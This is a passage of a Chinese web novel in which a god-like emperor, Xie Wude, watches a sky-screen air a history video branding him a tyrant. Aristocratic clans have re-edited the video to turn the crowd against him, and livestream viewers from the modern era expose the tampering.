谢吾德是由他衍生出来的存在,他和亚夏在长相上没有任何差别,所以亚夏的代入感实在是太强了。 温特其实也是被信仰的神明,但是他也没谢吾德这么喜欢炫耀。 死亡和智慧的信徒可以狂热,但是并不是喜欢炫耀的。 有人胆子很大——任何时代都不缺少胆子大的人。 那个人高声呼喊到:“吾皇万岁万岁万万岁!” 这群人也是看在维持现场秩序的太监们似乎并没有阻拦他们的意图才这么喊道。 其实这些人就是新建立的锦衣卫。 谢吾德当初光觉得锦衣卫这个名字听起来很帅,但是忽略了锦衣卫不是太监这件事。 不过也无所谓,反正这个世界没人知道,只要没人知道,他就完全不尴尬。 这些锦衣卫知道新皇帝性格有点浮夸自恋,会喜欢有人这么喊,于是他们就放任百姓去呼喊。 只要有一个人开头,那就会有其他人跟着他一起喊。 “吾皇万岁万岁万万岁!” 还有的人有点机灵,觉得自己跟着喊已经失去了新意,所以他们开始喊起了“太子千岁”。 谢吾德扭头看着亚夏:“只能活千岁,多好的祝福啊。” “其实这群人是在喊你老登该爆金币了。”亚夏更加尴尬了,所以看着谢吾德这个罪魁祸首无情地说。 这群百姓是发自内心地拥护谢吾德的吗? 那确实。 但是要说是喜欢谢吾德这个人吗? 他们最了解谢吾德的地方就是关于谢吾德的瓜很多,吃都吃不完。 从谢吾德做的那些事来看,是很难看出谢吾德做皇帝的优秀品质的。 他们最看重的大概就是谢吾德给他们的东西。 要是哪天谢吾德爆不了金币了,他就该被人丢弃了。 更何况斗米恩,升米仇。 亚夏性格是悲观的。 生命无限又完全青春永驻同时也力量强大的他为什么到现在还得努力学习研究? 不就是担心哪一天人类凭借技术可以将他捕获进行研究吗? 虽然到了那一天,人类的道德水平早就会进一步提升,但是他不不敢赌。 更何况在更加遥远的未来,人类可能都不存在了,就像是森林古猿变成人类一样,人类也会变成其他的物种。 亚夏从来都不看好自己的未来。 谢吾德的也是一样。 他说话很不中听,他故意的。 在别人面前他还要当个面子人,但是在谢吾德面前,他觉得面子这种东西并没有什么用。 温特没站在亚夏那边,他选择和稀泥:“这其实完全可以被解释为人民对美好生活的向往。” 语言的艺术,莫过于是。 “对美好的爆……”金币的向往。 亚夏话还没说完就被温特踩了一脚:“你就少说两句吧!” 但凡平心静气的功夫有半点用在谢吾德身上都不会搞到现在的地步。 亚夏和谢吾德现在关系这么差完全离开不了这两个家伙的互相折磨。 他还听说以前谢吾德还挺粘着亚夏的,毕竟他们当时也不是很喜欢被分裂的情况,但是现在真的是半点都看不出来,谢吾德完全不提这事了。 自己和自己合不来这种事情…… 虽然他们没有生理上的精神病,但是这事说出去,谁不想说一句精神病。 谢吾德听到温特的话,立刻就喜笑颜开了,他冲着亚夏做了一个鬼脸,但是小腿被温特用膝盖顶了一下。 如果自己在面对自己的时候,可以保持住那高冷的样子,那他们之间会少很多麻烦. 就在谢吾德准备让人把谢珖带上来年罪己诏的时候,他忽然感觉到有一点不对,就在片刻之后,天空中突然出现了一个巨大的光屏。 在场的人瞬间被这个天象所吸引,百姓们高喊万岁的声音也停顿了片刻。 这是什么情况? 他们几乎是同时看向谢吾德,这看上去像是谢吾德会做出来的事情。 这是吉兆还是凶兆? 相比起百姓的茫然,尔雅精准地把目光落在了陈家人的身上,她怀疑这就是临川陈氏搞的事情,也只有因为这样,他们才会直接无视掉她之前关于谢吾德的警告。 如果陈家的人能够操控这样的力量的话,他们的确有资格不在意尔雅提出来的事情。 【今天我们来讨论是千古第一暴君,南荣第二位皇帝,荣武宗谢吾德。】 林耀祖长大嘴巴,几近失语。 穿越加直播系统,而且这个直播系统也有购物功能,这已经很超标了,结果这是什么? 天幕? 天幕和她的直播是不是撞元素了? 现代人也没见过这东西啊! 林耀祖手里的弹幕也开始胡言乱语了。 【不是,这是什么玩意?】 【天幕?】 【按照设定这应该是咱们那个时代的视频吧?有人刷到过吗?】 【这是个什么原理呢?】 【穿越都没搞明白,你管那个天幕。】 【各位,我是大学物理系的清洁工,我们这边的教授又晕过去了。】 【真巧,我现在正在围观我们教授被抢救。】 【我们教授没疯,但是我的一个学长又哭又笑……卧槽!】 【上面那个学长出问题的是什么情况。】 谢吾德不说话,就是歪头看着一旁的亚夏。 亚夏不说话,只是一昧地转移自己的视线,然后亚夏发现林耀祖一直在盯着他,这让他的头皮一紧,忽然感觉现在的情况可能本身就是在大数据推演的历史当中。 亚夏从来都没有好好看这个世界的历史。 他总不能什么都看,大致浏览一遍大概的设计思路,确定AI和温特的那个以西方文化为基础的团队搞出来的东西没让这个世界变味就行。 而且他也不想知道谢吾德都干了什么会让人觉得糟心的事情,但是看林耀祖的反应,他就知道在预测之中自己就会被坑进去。 如果他提前能够知道这件事情…… 亚夏想了想觉得提前知道应该同样没有什么用。 没看温特只是在一旁围观,甚至出于谨慎没有出声都被拉了进去。 谢吾德想要做的事情就一定要做成,偏偏亚夏和温特都拿他没办法,目前单论武力值依然是谢吾德最强。 他们两个谁没有被谢吾德狠狠地坑过呢? 不坑不是谢吾德,只有坑了才能够确定现在谢吾德在谢吾德的范围内是正常的。 林耀祖非常想要和亚夏打一个招呼,但是亚夏的神态太高冷了。 温特同样也不说话,他只是看了看时间,想着什么时候能够走掉,他在外面不能待太长时间,不然画面会有点诡异。 【在荣武宗消失之后的第一年,这片土地上就迎来了一次——也是第一次与天灾毫无关系的饥荒。】天幕上的声音缓缓地响了起来,这个声音听上去低沉,十分令人信服,锦京之中有人觉得这个声音耳熟,【这是荣武宗谢吾德这位传奇暴君制造的第一个祸患。在他执政的那些年,整个国家的土地逐渐荒废,正常耕种的土地不足以前的五分之一。很多人保留着种地的习惯,仅仅是因为他们不舍得看着自己的土地荒废,或者是用这种方式打发自己的时间。他们种植的也不是主粮,而是用于补充的蔬菜。】 【毫无危机感的百姓被谢吾德的行为所迷惑,以为日后便是万事太平了。土地上几乎没有种植一棵主粮,粮仓里能够饿死老鼠。】 【这位庙号为荣武宗的皇帝在位期间广发粮食,人们不需要种地或者是购买食物便能够得到足够让自己活下来的食物。人们每天吃饱穿暖,甚至一度在这个工业革命前的时间,创造出了一个人们需要担心过度肥胖所产生的危害的时代。】 【当时的人们完全没有粮食安全的意识,谢吾德制造的虚假盛世给人很多幻觉,所以人们没有考虑过一个问题:如果谢吾德离开了,那么会发生什么?对于这个时代的人来说,这好像是一件完全不需要担心的事情,皇帝就在那里。在市井传言中,这位皇帝是一个荒诞不经,举止疯癫的奇怪家伙,但是他好像就是能够做到过去明君都完全做不到的事情。他也许是皇帝,但是人们却更加倾向于把他当成神明。百姓大量的祭祀这一位皇帝,把他奉为神明。】 谢吾德现在是全场的焦点,几乎所有的人都在看着他。 世家的人都在打量着谢吾德。 这天上的画面就是在打谢吾德的脸。 谢吾德做皇帝这件事情就是被上天否定了。 谢吾德是会恐惧还是愤怒呢? 尤其是临川陈氏和琅琊王氏的人。 虽然他们可以进行配音加剪辑了,但是他们完全没有办法让内容从头到尾都变成被世家编造的内容,在试验阶段他们就发现如果出现谎言的话,那整个视频就会发出刺耳的尖啸。 世家的胆子一直都很大,变构仙机的事情也不是第一次做,他们的原则就是如果上天没有禁止那就是允许。 他们能做的只是选择性将其中的一些内容挑选出来,做一点选择的艺术。 尝试完全编造也只不过是世家的一次试探,没成功也算是情理之中,仙机就是仙机,不完全被常人控制也是正常的,再说了谢吾德做的事情就算不编造也是很离谱的。 他们只是在试探这份机缘的下限,尝试着摸索自己的权力能够扩张到什么程度。 世家的权力就是这么一点点扩张的。 就好像他们进行土地兼并一样。 土地不是在某一瞬间就突然属于世家地主的,最开始不过是世家在一点点蚕食,这些大多和皇帝有着各种血缘关系的人让皇帝没法对他们下手。 都是亲戚,都不容易。 这两条就足够让皇帝退步了。 陈琦没有直视谢吾德,但是却在思考他这么做是不是就有逼迫谢吾德退位的可能。 谢敬明已经快要被谢吾德吓破胆了,但是这也说明他也有被他们临川陈氏掌控的可能。 到时候让谢敬明上位,再加上他们手里这张能够操控天幕的牌,说不定之后还有逼迫谢敬明退位,让他们临川陈氏成为皇帝的可能。 现在最不确定的地方莫过于谢吾德会不会被他们吓到. 所有人都在看谢吾德。 世家权贵在看着谢吾德,太监宫女在看着谢吾德,平民百姓也在看着谢吾德。 人的目光是有热量的,所有人的目光汇聚到了一处,就好像是能够把人给烧穿一样。 被绑在一边,感觉自己像是play的一部分的谢珖都忍不住被这沉默的注视盯得感觉浑身发热。 他从未在意这些百姓的注视,但是积少成多,聚沙成塔,居然也有了令人战栗的力量。 谢珖曾经觉得这个世界最恐怖的事情就是萧人南下,但是现在这种沉默的压迫感居然产生了一种某种如同地基一般的东西正在崩裂的感觉。 他也看向了谢吾德。 这个光看身高很难被认为是少年而且以如今的身份也不该被认为是少年的人叹了一口气。 第49章 谢吾德在叹气之后感慨了一句:“一直仰着头脖子有点累。” 谢珖:“……” 谢吾德看着谢珖,不爽道:“你瞅啥。” 谢吾德不是啥好人,谢珖就更是纯粹的人渣了。 被这种人用这种眼神盯着,谢吾德只想把这个人的眼球给抠出来。 谢珖作为一个开封出生的人当然没法和谢吾德对上一句“瞅你咋地”,就算他知道下半句,也不会干这么和谢吾德说话。 谢吾德单手叉腰,把长袖压在手掌之下,低头看着高台之下的所有人。 谢吾德用手敲了敲身旁的桌子。 一声脆响声便好像直接出现在他们的耳朵中,直接穿透了他们的耳蜗,直抵大脑。 “大不敬。” 谢吾德的声音一直都不大,此刻也没有多少激情,他只是平静地吐出这几个字。 可是谢吾德的话语有一种奇特的力量,他的声音仿佛高高在上,带着一种自然而然的命令感,所以听到他的声音的人仿佛很容易就把他的话当成了一种真理去对待。 所有人不由自主地把目光从谢吾德身上转移开。 但是谢吾德没有做任何解释,这个反应并不让在场的百姓感到满意。 谢吾德选了一个几乎是最糟糕的反应。 锦衣卫大声呵斥着下面的人,他们对天幕上的话并没有太多的感触,他们是皇帝的近臣,如果现在没能做好自己的事情,那他们也不用谈以后了现在就可能被谢吾德杀了。 连自己本职工作都做不好的人还有什么待在皇帝身边的脸面。 而且他们都是没有后代的太监,这群能进入锦衣卫的太监都还年轻,没有他们年纪比较大的前辈那样那么渴望家庭,这些人无牵无挂的,只要谢吾德敢说把下面的人杀了,他们就真的敢对这些手无寸铁的人下手。 就在有人准备再次看向谢吾德的时候,谢吾德的手指往下一划,直接让那些刺头跪了下去。 旁边不认识这些人的人只觉得这些人可能是被皇帝的威严震慑才跪了下去,但是认识这些人的人是最惊讶的,他们知道这些人是什么样的刺头。 现场没那么躁动了。 谢吾德觉得舒服多了。 他也不是针对百姓,他只是想要等着世家憋个大招,或者看看世家还能做什么过分的事情。 他们总不可能只放个天幕然后就什么都不做了。 谢吾德看着身后的那张桌子,把东西拨弄到了一边,双手一撑,直接坐了上去,然后一扭,转身躺平,顺便从怀里掏出了一颗糖往嘴巴里塞去,他还看向亚夏和谢吾德:“你们两个脖子不疼吗?” 谢吾德托腮,这个姿势仿佛会说话一样,完全就是满不在乎的态度。 亚夏叹了一口气还是有点疼的。 谢吾德不提,现在没有真正意义上的实体的有亚夏和温特是不会有颈椎问题的,但是架不住他们在心理层面觉得脖子开始疼了。 不过他们远没有谢吾德那种嚣张的气焰。 谢吾德对天幕上的话唯一的感觉就是“就这”。 凭什么怪他啊。 谢吾德还以为自己搞得血流成河了。 他做错了什么? 这就暴君了? 他是个神,又不是保姆,凭什么要考虑得面面俱到。 是别人取悦他,又不是他取悦别人。 亚夏已经绕到了桌子后面,在谢吾德的身后提醒他:“你现在的身份是皇帝,不是神,你当然要考虑到。” 谢吾德没说话,但是亚夏当然能明白谢吾德在想些什么。 “这样我要那些大臣有何用?”谢吾德扭头看着亚夏,眼睛里写满了“想要裁员”四个字。 他可以大把地撒资源,但是他一分一毫都不想给他讨厌的人。 当什么荣武宗,他要当荣裁宗。 亚夏不说话。 谢吾德沉默了一会,然后问:“你不拦我?” “我不觉得你说错了。 ”亚夏随意地说道。 这反而让谢吾德不知道该做什么反应了,不过他想想也是,亚夏能够理解许多事情的道理,但是这并不代表他就喜欢这个时代所谓的道理。 更何况亚夏并不完全认同这群人是人类。 这视频甩锅意味那么重,即使是亚夏多少也会有一点不爽。 谢吾德只是想要裁员,这对于谢吾德来说已经很仁慈了。 他这个反应还真不奇怪。 亚夏虽然喜欢和谢吾德对着干,但是他只是憋不住实话,又不是处处和他对着干——谢吾德才是那个喜欢和亚夏对着干的,亚夏现在这脾气完全是之前被谢吾德整得太过了。 下面的百姓看着谢吾德那随意的姿态,他们就像是发现自己不是踩在棉花上而是踩在云端,作为凡人的他们随时都有坠落而亡的可能。 他们之前看谢吾德给他们的淀粉,以为他是一个仁君,但是现在天空上的话完全就是在否定他们之前的想法。 他们并没有多少主见,基本上就是别人说什么,他们就信什么。 他们往往更容易去相信那个更大的权威。 荣朝相对于前朝来说,已经算是相对更加解放思想了,没有让一家的学说独大,但这并不代表他们想要让所有人都能够独立思考的。 下面的百姓其实也没有别的什么意思,他们之前盯着谢吾德看甚至都没有多少不满,更多的是茫然,他们只希望谢吾德能够站出来说一句:“不是这样的。” 他们的主心骨不是他们自己,而是皇帝。 人们有的时候不一定需要真相,他们需要的也可能是欺骗自己的话。 毕竟谢吾德给他们的恩惠远胜于这个不知来历的天幕给他们的恩惠。 他们更愿意相信谢吾德。 可是谢吾德什么都没有说。他甚至好像不太在意一样,这让许多人的心往下一沉。 陈琦窃喜。 谢吾德的反应是他们最希望看到的反应,而且这也符合他们对谢吾德性格的推测。 谢吾德是不太喜欢辩解的类型,而且他只要觉得无所谓,他就懒得废这口舌,他杀人的概率都比解释的概率要大。 说他嘴笨也好,说他有点清高也好。 他喜欢用实际行动证明自己,而不是和搞论证。 只是现在在场的人实在是太多了,谢吾德一个个解释是很难解释得完的,他也不太可能突然发疯杀掉所有的人,所以他们很安全。 世家完全不提半点谢吾德对普通人有利的地方,只提谢吾德所造成的灾难。 世家是在煽动普通人对谢吾德的恐惧。 他们太懂普通人对饥荒的恐惧了。 生活在锦京中的人,已经是生活过得最不错的那一批人了,但是谁家没有亲戚。 现在也不算是太平盛世,因为各种原因造成的饥饿而死的人从来都不在少数。 只要听到饥荒这个词,人们就要开始颤抖了。 饥荒从来不是单纯地饿死的问题。 那是会吃人的。 卖儿卖女都带着几分温情,就算是让他们给人做奴仆,也基本知道他们在哪里活着,更恐怖的是易子而食。 食物的重要性根本不是简单的言语可以形容的。 那是一条条人命。 也是人性在绝望中极致的沦丧。 “陛下……”余文彦先做了一个向谢吾德告罪的姿势,然后走上前来,躬身行礼。 谢吾德没想到第一个跳出来的居然是余文彦。 在他看来,余文彦不是一个很有骨气的人。 他很擅长明哲保身,就像是当时谢吾德把余文彦从二皇子那里薅过来的时候那样,根本不会反抗。 这个人有点忠诚,但是并不多。 他太过于识时务了,所以经常会显得他很怂。 本质就是一根稍微有点韧性的墙头草。 谢吾德虽然重用他,但是对余文彦的定位是玩具。 他没那么忠诚又有点怂的样子实在是好玩。 “这次的事情是否是陛下的安排呢?” 一般皇帝不会做出这样的事情,问题是谢吾德从来都不按照常理出牌,他做什么都是有可能的。 谢吾德有点失落,余文彦没做出出乎他预料的事情。 面对余文彦的问题没有直接回答这个问题,而是问道:“余文彦,你问这句话的目的是什么呢?” 当然是为了判断一下谢吾德究竟是什么样的人。 只要谢吾德不是那种纯粹的疯狂,他总会有自己的底色的。 余文彦也感觉到了莫大的压力,因为现在的谢吾德很安静,而在谢吾德身旁的亚夏和温特用着和谢吾德一模一样的眼神看着他。 三双眼睛虽然因为年龄不同有所差距,但是那双和普通人有着相当大差异的在注视着别人的时候,那种和常人完全不一样的深蓝色眼睛让余文彦觉得站在他面前的不是什么人类,而是某种奇特的生命一样。 余文彦感觉有一股凉意从自己的头顶灌到了脚底,这三个人的眼神完全一模一样,甚至余文彦仿佛能够在他们的身上找到一种怪异的共鸣。 这不像是三个人,更像是同一个人。 违反常识的事情是会引起人的恐惧的。 余文彦感觉自己的两股战战,就像是有一双无形的手抓住了他的心脏。 亚夏首先移开了目光,他良心最多,且无意给人施加太多的压力,他能够感觉到余文彦的血压似乎要飙升到一种危险的地步,和之前的尔雅一样,都要被他们盯得炸毛了。 在亚夏移开目光之后,温特也微微一愣,从沉默的注视中转移出来。 说实话,他们三个很少同时出现,平时根本不会注意到这种事情。 因为是同一个人,实在是太有默契了,冷不丁地就会给人制造出一种诡异的效果,大概就像是《闪灵》里那两个手拉着手的双胞胎小姑娘一样。 双胞胎长大了会因为终究不是一个人,有自己的生活才产生差距,变得不是那么像,但是他们根本就是同一个人,性格也固定了,思想可能有点不同,但是脾气没太大差别,谢吾德差的那一点是纯粹地被信仰污染了。 如果他们愿意,接话也不是什么难事,诡异程度还能再翻好几倍,碰到个胆小的说不定能把人吓尿。 谢吾德可惜地叹气,余文彦好像总算找回了自己的声音,在发出了一两个无关的音节之后,他总算是重新找回了自己的脑子,能够相对正常地思考起来了:“臣只是觉得这件事情很有可能是人为的。” 第50章 开玩笑,余文彦才不会和谢吾德作对。 作为亲眼看到谢吾德杀死他上一任效忠的对象的人,余文彦这辈子都不会和谢吾德作对,那实在是太不自量力了。 虽然余文彦表现的没有谢敬明那种受虐属性大爆发一样,但是实际上他也是被谢吾德弄怕了。 再说了,他已经背叛过琅琊王氏和二皇子一次了,他如果就算现在向世家献媚,那些世家大族也不会放过他的,只能和谢吾德一条路走到黑。 他现在说这话是因为他感觉天幕出现的时间实在是太巧合了,如果苍天有眼,想要阻止谢吾德登基的话,那为什么不在之前阻止他?阻止他杀死大皇子和二皇子? 虽然大皇子和二皇子有很多毛病,但是比起三皇子和五皇子要好上太多了。 现在这出现的时间更像是在刁难谢吾德。 当然,余文彦会这么想其实也是因为这么想对他最为有利。 “真没想到你居然会这么相信我,相信我不会祸国殃民。”谢吾德看着余文彦又变得喜笑颜开了起来。 上一秒还是面无表情,充满压迫力的冰冷注视,下一秒就变成了活泼开朗的微笑,这变脸的技艺着实是精湛。 余文彦的表情有点僵硬,其实他是不相信的。 这种事情哪里会是非此即彼的? 他顶多是相信谢吾德没有这么做的理由,不是故意做这些事情的谢吾德顶多是对这个世界没有多少恶意,并不代表他就不会祸国殃民了。 余文彦很无奈。 他打量着谢吾德,天上的天幕还在播放着所谓荣武宗的黑料,但是谢吾德一点没有紧张,就连那两个被他立为太子的,仿佛一切都在他们的掌握之中。 从他们的表情来判断,余文彦就更加肯定了这是可以被谢吾德处理掉的事情。 谢吾德刚把这个皇位拿到手,他虽然觉得皇位没有他想象中的那么好,但是也没有玩腻,他是不会允许有人抢他的玩具的。 如果真处理不了,以谢吾德的性格早就把不开心写在脸上了。 神异? 在神异能比谢吾德更神异呢? 说不定这件事情背后就是谢吾德自己,他只是丢出了一个诱饵,就有一群傻子兴致勃勃地冲了上来,还在那里洋洋得意,觉得自己才是那个猎人。 谢吾德也不是伪装的很好的猎物,他们怎么真就信了。 谢吾德不说话,但是温特却忍不住开口说道:“现在受损最严重的是世家。” 谢吾德懒得思考这种勾心斗角和利益纠葛,他双拳无敌,不管什么阴谋诡计他都可以一巴掌解决,而且他谁都不在乎。 那些锦衣卫的太监因为没有后代什么都不在乎,谢吾德不也是一样,谁都活不过他,他也懒得对别人付出感情。 对于温特来说,这就值得点评两句了。 亚夏还知道自己给了世家一个金手指,但是温特看亚夏在做这些事情,他就不管了。 所以这件事情还挺值的温特去思考一下的。 余文彦忍不住多看了温特一眼。 谢吾德突然来了兴致,想要立一个孩子做太子是一件十分正常的事情,立两个放在谢吾德身上也不是一件奇怪的事情,甚至这两个和谢吾德一样都是疯疯癫癫的也不奇怪。 可是谢吾德这新太子这话说的听上去实在是相当有水平,这种水平完全配得上太子之位。 选择他作为太子实在是太正常了,正常到对于谢吾德来说很不正常了。 他觉得谢吾德的会属意的人选会是那种精神不正常或者会把人搞得不正常的家伙。 ……说起来,这两个太子叫什么? 余文彦觉得谢吾德大概是非常不喜欢提名字了,他总是能非常自然地忽略绝大多数人的名字。 怎么连亲儿子的名字都烫嘴吗? 在习惯性地吐槽完,余文彦把思路拉了回去。 温特说得对。 粮食卖不出价格,最着急的是谁? 肯定是那些世家。 在这个农业时代,一切最后都要落在土地和粮食上。 世家的一切收入大多都来自于土地。 如果普通人不需要依靠土地上的粮食的话,他们就不需要累死累活地在地里干活,榨干自己最后一点汗水,那些地主通过地租能获取到的粮食会大幅度地下降,同样,他们手里的粮食也基本没办法卖给其他人了。 对于统治者而言,整日忙忙碌碌、忙于一日三餐的没有时间想东想西的人是最好控制的。 普通人被绑在土地上,被限定在一个固定的区域里,这种人是最方便他们进行统治的。 百姓过度贫困固然会爆发农民起义,但是吃饱了也不方便世家压榨。 对于这方面的事情,温特其实有着更加现代的解释。 不是所有人都会像白居易那样感叹:“今我何功德,曾不事农桑。吏禄三百石,岁晏有余粮。” 那些脱离了生产的人之前不会意识到这种事情,有些事情对于他们来说都是天经地义的,他们甚至会觉得有些事情是理所应当的。 他们只会觉得,如果没有他们,那些人根本就没有地可以种,同样也是他们能够向那些农民借钱,他们的风险也很大,他们也很难的。 他们总是喜欢过度夸张自己付出的东西,即使是在现代,也不知道有多少老板觉得员工需要感谢老板给他们工作和工资,甚至很多普通人都会认同这件事。 现在他们意识到了,但是他们会反悔吗? 可能有一些比较有良心的人会对普通人产生些许同情,但是地主阶级是不会背叛地主阶级的。 一般来讲遇到这种事情最慌的就是皇帝,因为皇帝才是这个世界上最大的地主。 就算上下盘剥,但是一般来说,皇帝比任何一个人得到的东西。 可是谢吾德是绝对不会着急的。 他为什么要盘剥普通人。 他作为继承了人类在地球完整工业体系的人,还有足够的能源和资源开动工业机器,对于出生在二十一世纪初的他们来说,二十二世纪初的技术已经非常先进了。 他也就是名义上算是一个皇帝,但是本质完全就算不得是皇帝了。 既然皇帝不急,那就只能是太监急了。 皇帝是这个天下的主人,但是同样也是地主们精心挑选出来的代言人。 在天幕点评完谢吾德种种离谱的操作之后,他们又转而提起了战争的事情。 【在过去的一百多年,这片土地上在度过饥荒之后迎来的是一场又一场的战争。荣武宗对开疆扩土有着很大的兴趣,穷兵黩武,将他的征伐的步伐踏到了前人完全难以企及的地步,这个世界上除了零星的岛屿之外,所有的土地都被他尽数征服。然而在谢吾德离开之后,整个国家并没有消化这些土地的能力,后面的皇帝被迫放弃大片大片的土地。】 【从当时的角度来看,这很难说是一个错误的决定,没有了谢吾德的南荣完全无法管辖如此之大的地盘,如果强行保留着这些土地的话,南荣会被提前拖垮。】 【但是这个决定却暴露了南荣本身的衰弱。】. 林耀祖仰头看着这个天幕,她有点羡慕谢吾德可以找个地方躺下来。 谢吾德没说不允许,但是她总不能搞特殊。 在林耀祖眼角的余光中,弹幕还在刷着。 【我找到了那个视频。】 之前这群观众就想要找找这个视频是不是他们这个时代的,结果还真的找到了。 【原视频博主来了。】 正主几乎是同时出现的。 视频博主的这段视频当时的流量还算不错,虽然所有平台加起来没过五百万,但是这个数字也不算小了。 【删了好多内容啊。】 视频博主发了弹幕。 这个视频已经发了很多年了,里面的很多内容视频博主自己都忘了,需要仔细回忆一番。 但是她知道自己的思考逻辑。 她是历史系毕业的,她虽然有着自己的喜好,但是做学术的人对历史要尽量保持公正客观全面的态度。 谢吾德是个前无古人后无来者的脑子有病的皇帝,而且因为他的表现实在是太突出了,导致后面很多问题都是他的错。 博主并不反对谢吾德的问题最大,可是她在原本的视频之中还提到过:“南荣——甚至整个荣朝在建立的时候就不是那么强大,只有在谢吾德时期,荣朝才是一个统一的国家。它在建国的时候就有很大的问题。” 林耀祖直播中的天幕把这一段给删了,而且博主是个女性,现在视频中的是男声。 这个视频绝对被人删改过,甚至整个天幕都有可能是别人操控的。 林耀祖的目光第一时间就往世家的方向看去。 这个时代,最恨谢吾德的除了谢珖之外就是世家了。 如果萧国知道谢吾德会把他们灭国,也同样会恨他们,只不过这是在南荣境内,首先要怀疑的就是这些绵延千年的世家了。 不管发生了什么不好的事,先往世家的方向看准没错。 世家在文化上的强势不仅限于法家的学说,在艺术上面的造诣也很高。 这个视频是再剪辑出来的,如果林耀祖不是现代人,不是弹幕和原作者来了,他们都看不出来剪辑的痕迹。 逻辑太顺了。 这肯定需要一定的艺术基础的。 【这样没事吧?】 【这事传开之后该不会有人要被煽动了吧?】 有弹幕有点担心。 这可是天幕啊。 如果他们不是现代人,或者现代出现了这样的天幕,他们肯定不会怀疑上面内容的真实性。 这东西出现得这么超出普通人的认知,那说的还能有假? 说这话的人是因为之前看到了那些被分到了蛋糕的小宫女哭的观众。 他们没有和这群过去的人完全共情,但是还是同情他们的。 如果这天下大乱,又不知道有多少人会流离失所。 现代人这点敏感性还是有的。 这其实也是林耀祖想要说的话。 现代人都不怎么喜欢看谢吾德当皇帝,因为谢吾德当皇帝的确不是什么好事,他做的是肉眼可见的糟糕,而且没有多少责任心。 这样的人的确也不配做皇帝。 但是他们不希望谢吾德做皇帝是因为他们希望能够避免未来的灾难,而不是天下大乱。 谢吾德是个抽象皇帝,那世家就是什么好东西吗? 【……不是,你们在担心谁?】 有一个弹幕飘过。 最前面的六个点好像暴露了发这条消息的人的无语。 没有一个脏字,但是横看竖看反复看,好像字缝间透出几个字——你们傻逼吧。 林耀祖:“……” 她忽然感觉自己刚刚的担心像是喂了狗。 是啊,他们在担心什么。 那可是谢吾德。 关于谢吾德的很多事情即使到了现代依然是未解之谜。 如果不是谢吾德没有墓,那些好奇到要发疯的学者一定要刨坟好好地研究一下。 谢吾德的力量和在各种记录中的传奇即使在现代也是突破想象的,如果林耀祖是个狂热的研究人员,她大概就得抱住谢吾德的大腿求他展示一下自己的神奇之处。 就算被谢吾德杀了也值了。 朝闻道,夕死可矣。 好人不长命,祸害遗千年。 谢吾德可是超级大祸害。 他们刚刚真的是昏了头才会去担心谢吾德。《 》 50-60 第51章 【在荣朝因为放弃土地、暴露自己实际的虚弱之后,敌人便从海外而来。那些远在千里之外的敌人为了获取谢吾德强大的秘密,在这片土地上大肆劫掠。】 【这个时候这片土地上生活的人才意识到的一件事情,过去的游牧入侵虽然是巨大的灾难,但是人们没想到还有比游牧更加恐怖的灾难。人们的想象力还是着实有限,新的灾难不是刀枪弓箭,而是曾经被他们当成烟花爆竹的火.药被填装在枪管里,无情地收割着所有人的生命,制造出了新的战争时代。】 这个时候天空上展示的图片是火炮爆炸。 当初制作这个视频的人为了增加效果,镜头也在轻微摇晃。 在普通的屏幕甚至是电影幕布上,这对于现代人来说只是增加了些许代入感,但是放到天空上,效果就太震撼了,好像天空开裂了一样,让整个天空变得摇摇欲坠,就好像天幕上的那些炮火会砸到他们的头上一样。 杞人忧天的杞国是挨了流星把杞国人搞出了创伤后应激障碍,结果杞人忧天的梗被当成了庸人自扰的笑话流传到现在。 如果现在荣国人穿越回去,遇到了嘲笑杞人忧天的人,他们大概会狠狠地揪住对方的衣领,告诉他们天空的确是有可能坠落下来的。 也不知道是从谁开始,反正有人忍不住开始尖叫了。 天要塌了。 这个现在的视觉效果实在是令人震撼。 即使是看惯了各种特效3D电影的林耀祖在看到这一幕的时候,也被这震撼的视听效果给吓到了。大就是好,好就是大,巨大的天空,笼罩了所有人的视野,这种完全覆盖的画面,很容易欺骗人的大脑,告诉人这就是现实中发生的事情。 在场的百姓已经开始骚动了,就连那些自恃身份的世家也忍不住躲躲闪闪,即使讲究体面如世家也无法抵挡自己身体的本能。 他们和百姓一样,都是人类。 一个品种的生物。 有些事情绝对不是强行压抑就可以压住的,甚至有的人本来想要压抑住自己的反应,保持平衡,但是他们却因为保持平衡把自己给摔在了地上,然而他们身边的同僚却并没有嘲笑他们,因为他们自己的状况也没有好到哪里去,有些人也开始用左脚踩着右脚,或者干脆踩在自己官袍的衣摆上。 先倒下来的人还得连滚带爬地躲开一次次的袭击,不然就要尝尝自己同僚屁股的味道。 就连这件事情的罪魁祸首陈家人也没有好到哪里去,因为他们一开始仅仅是在小范围做了一个很小的屏幕进行测试,根本就没有想过还会有在屏幕放大到这种程度的时候,居然会有这样的效果。 这实在是太吓人了,如果这事情不是他们提前知道底细的话,他们自己都要被吓得屁滚尿流了。 百姓们对自己没什么要求,自然也不会逼迫他们自己端着架子,现在如果不是锦衣卫人数众多,场面大概就会像是群体精神病发作一样,许多人在哭嚎着,嘴里念念叨叨说着别人不是很能听得懂的话,还有的人瘫软在地,狼狈不堪。 一个年轻人就是在喃喃自语着说些“陛下不该登基,上苍震怒了”这样的话。 世家之前有在锦京街头巷尾宣传谢吾德这次登基做的种种离谱决定,比如说没有祭祀天地先祖。 普通人之前也不一定清楚这是必备流程,但是他们懂别人说话的语气,当时他们没把这事太当一回事——谁让之前的皇帝按照这套做也没见得就被庇护了。 但是一出事,之前世家传播的话语就变得有杀伤力了。 “你在什么?”旁边的人狠狠地敲了年轻人的后脑勺一下。 年轻人很懵:“叔,你没看到吗?这上面是赤裸裸的预警啊。这就是天灾,天灾就要来了。那些人不都说皇帝在登基的时候遇到这种天灾,是不祥之兆吗?是上天对人们的预警。” 如果不是怕吸引锦衣卫的注意,他都想说一句:“这样不就意味着他们要换皇帝吗?” 之前楠楠自语就罢了,但是和人说话就要注意了。 “这些你别管,你没看到上面说人们都可以吃饱吗?”被喊作叔的人敲着这个年轻人脑袋的人没好气地说,“这是坏事吗?” 年轻人愣了一下,刚刚发生的灾难实在是让他更大的眼睛。 他的年纪还不大,他出生的时候荣朝已经建立了起来。萧国一直有威胁荣国边境的,但是整体而言是威胁不到生活在荣国都城锦京的他们。 “不是坏事……但是你没有看到之后外敌会入侵……” “你管那个外敌干嘛?你去算命,算命的人说你这辈子完蛋了,你就打算自暴自弃吗?不都是问大师有什么解决的方法,提前知道未来的灾难是什么坏事?给我站起来,现在事情还没有发生,提前知道这些事情是一件好事。”年纪比较大的人不太高兴地说道,“更何况,太上皇当政的时间就没有外敌入侵了吗?咱们就能够吃饱了吗?” 大家要做的其实是警惕土地荒废的问题。 